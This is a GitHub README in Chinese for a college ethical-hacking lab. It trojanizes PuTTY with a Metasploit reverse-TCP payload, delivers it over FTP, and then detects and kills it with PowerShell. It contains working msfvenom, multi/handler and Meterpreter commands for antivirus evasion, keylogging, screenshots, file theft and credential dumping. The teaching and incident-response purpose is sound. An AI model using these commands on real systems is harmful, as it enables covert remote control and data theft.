Mvrcoz/Metasploit-RAT-IR
GitHub: Mvrcoz/Metasploit-RAT-IR
一个结合攻击与防御的网络安全实验项目,演示了 Metasploit RAT 的部署流程以及使用 PowerShell 进行事件响应检测与清除的完整过程。
Stars: 0 | Forks: 0
# Metasploit RAT — 部署与事件响应
### CySA+ 实验室 · 道德黑客 · CIS196 · 赛普拉斯学院
[]()
[]()
[]()
## 概述
```
Objective : Create and deploy a RAT, establish C2 access, then detect and kill it via IR
Environment: Kali Linux (attacker) · WinClient (victim) · Ubuntu · Windows 2012 R2
Network : 192.168.1.0/24 — LAN-only segmented lab environment
Date : October 7, 2023
Course : CIS196 Ethical Hacking (CySA+ aligned) — Cypress College
```
本次实验涵盖了远程访问木马(RAT)攻击的双面性——攻击性部署与防御性事件响应。使用 Metasploit 框架和 MSFVenom,将木马注入到合法的可执行文件中,并通过 FTP 传送到受害者机器。随后建立了 Meterpreter 会话以进行后渗透。在最后阶段,视角切换到防御者——使用 PowerShell 检测活动的 C2 连接,识别恶意进程并将其终止。
## 实验环境
| 机器 | 角色 | IP |
|---|---|---|
| Kali Linux | 攻击者 — payload 创建,C2 服务器,Meterpreter 控制 | 192.168.1.3 |
| WinClient | 受害者 — RAT 部署的目标 | 192.168.1.5 |
| Ubuntu | 辅助服务器 | 192.168.1.4 |
| Windows 2012 R2 | 域控制器 | 192.168.1.2 |
## 什么是远程访问木马?
远程访问木马(RAT)是一种恶意软件,它会秘密潜入受害者机器并为攻击者打开一个持久的后门。主要行为包括:
| 阶段 | 发生的情况 |
|---|---|
| **感染** | 通过网络钓鱼、软件漏洞或社会工程学进行传播 |
| **持久化** | 确保在重启后仍能存在于系统中 |
| **通信** | 向外连接到攻击者控制的 C2 服务器 |
| **控制** | 攻击者发送命令 — 窃取数据、捕获键盘记录、截取屏幕 |
| **数据渗出** | 将敏感数据回传给攻击者 |
| **横向移动** | RAT 可能会传递额外的恶意软件或跳板到其他系统 |
外联连接模型(反向 TCP)特别危险,因为它绕过了入站防火墙规则 — 是受害者机器向攻击者发起连接,而不是反过来。
## 什么是 MSFVenom?
MSFVenom 是 Metasploit 的 payload 生成器和编码器。它可以创建各种格式的恶意 payload — 可执行文件、脚本、shellcode — 并将其嵌入到合法文件中。`meterpreter_reverse_tcp` payload 会建立一个反向 TCP shell:一旦在受害者机器上执行,它就会回调到攻击者的 C2 服务器并打开一个完全交互式的会话。
## 什么是 C2 服务器?
命令与控制(C2)服务器是攻击者用于管理受感染机器的远程枢纽。一旦 RAT 回连成功,攻击者就可以下达命令、渗出数据、部署额外的恶意软件并维持持久的访问权限。在本次实验中,Metasploit 的 `exploit/multi/handler` 充当了 C2 监听器。
## 攻击链
### 阶段 1 — 使用 MSFVenom 创建 Payload
在 Kali 上使用 MSFVenom 将 `meterpreter_reverse_tcp` payload 注入到 `puttyA.exe` — 一个合法的 SSH 客户端 — 中,创建了名为 `puttyTrojan.exe` 的木马化可执行文件。编码器 `x64/zutto_dekiru` 应用了 3 次迭代,以混淆 payload 从而规避防病毒检测。
```
msfvenom -a x64 --platform windows \
-p windows/x64/meterpreter_reverse_tcp \
-e x64/zutto_dekiru -i 3 \
-f exe -x puttyA.exe \
-o puttyTrojan.exe \
LHOST=192.168.1.3 LPORT=5000
```

最终的木马文件大小为 1,073,664 字节。当受害者执行它时,它会正常运行原始的 PuTTY 应用程序 — 同时秘密建立与攻击者的后门连接。
### 阶段 2 — C2 服务器设置
在 Kali 上启动 Metasploit 的 `multi/handler`,以监听来自受害者机器的反向 TCP 回调。
```
msfdb start
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.1.3
msf exploit(multi/handler) > set LPORT 5000
msf exploit(multi/handler) > run
```

handler 现在正在等待。任何执行了该木马的机器都会自动回连到此处并打开一个 Meterpreter 会话。
### 阶段 3 — 通过 FTP 交付
使用命令行 FTP 将 `puttyTrojan.exe` 传输到受害者的 FTP 服务器(WinClient — 192.168.1.5),并将其重命名为 `putty.exe` 以伪装其恶意本质:
```
ftp 192.168.1.5 21
ftp> binary
ftp> put puttyTrojan.exe putty.exe
# 已发送 1,077,285 字节 — 传输完成
```
一旦受害者从 `C:\FTP\putty.exe` 双击该文件,攻击者的 C2 上就会打开 Meterpreter 会话。
### 阶段 4 — 后渗透
利用活动的 Meterpreter 会话,在受害者机器上执行了以下操作:
```
# 迁移至 explorer.exe 以便即使受害者关闭 PuTTY 也能保持持久化
meterpreter> migrate -N explorer.exe
# 检查当前用户上下文
meterpreter> getuid
# 服务器用户名: CYSA\student
# 对受害者桌面进行静默截屏
meterpreter> screenshot
# 启动键盘记录器
meterpreter> keyscan_start
# 从受害者下载文件
meterpreter> download C:/users/student/documents/Labdownload.txt
# 尝试凭据转储(失败 — 权限不足)
meterpreter> run post/windows/gather/hashdump
```

hashdump 失败了,因为 student 账户缺乏 SYSTEM 级别的权限。这是一个非常现实的结果 — 在真实的攻击中,下一步将是权限提升。
## 事件响应 — 防御者视角
### 阶段 5 — 通过 PowerShell 检测 C2 连接
切换到 WinClient 并使用 PowerShell 识别回连到攻击者的活动连接:
```
Get-NetTCPConnection -RemoteAddress 192.168.1.3 | Format-List
```

输出揭示了全貌:本地端口、远程 C2 地址和端口、连接状态(已建立),以及最关键的 — **OwningProcess ID**。这个进程 ID 是查找并终止恶意连接的关键。
```
# 识别进程
Get-Process -Id 4668 | Format-List *
# 路径: C:\FTP\putty.exe ← 确认木马位置
```
### 阶段 6 — 终止进程,关闭会话
```
Kill 4668
# 确认: Y
```

终止进程立即结束了攻击者端的 Meterpreter 会话 — 这可以通过 Kali 终端中出现的 `Meterpreter session closed. Reason: Died` 来确认。
## 关键发现
| 阶段 | 操作 | 结果 |
|---|---|---|
| Payload 创建 | MSFVenom 注入到 puttyA.exe | puttyTrojan.exe — 1,073,664 字节 |
| C2 设置 | multi/handler 监听端口 5000 | 反向 TCP handler 已激活 |
| 交付 | FTP 传输到 C:\FTP\putty.exe | 木马已部署,伪装成 PuTTY |
| 后渗透 | migrate, screenshot, keylogger, download | 建立了对受害者的完全控制 |
| Hashdump | run post/windows/gather/hashdump | 失败 — 权限不足 |
| 检测 | Get-NetTCPConnection | 识别出 C2 连接和进程 ID |
| 补救 | 终止进程 4668 | Meterpreter 会话被终止 |
## 事件响应中的 PowerShell
PowerShell 是 Windows IR 分析师可用的最强大的工具之一。在本次实验中,它被用于:
- **枚举活动的 TCP 连接** — `Get-NetTCPConnection` 显示所有连接,包括远程 IP、端口、状态和拥有的进程 ID
- **识别恶意进程** — `Get-Process -Id 标签:AI合规, DAST, IPv6, IP 地址批量处理, OpenCanary, PowerShell, 安全实验, 库, 应急响应, 恶意软件分析, 网络信息收集, 网络安全, 隐私保护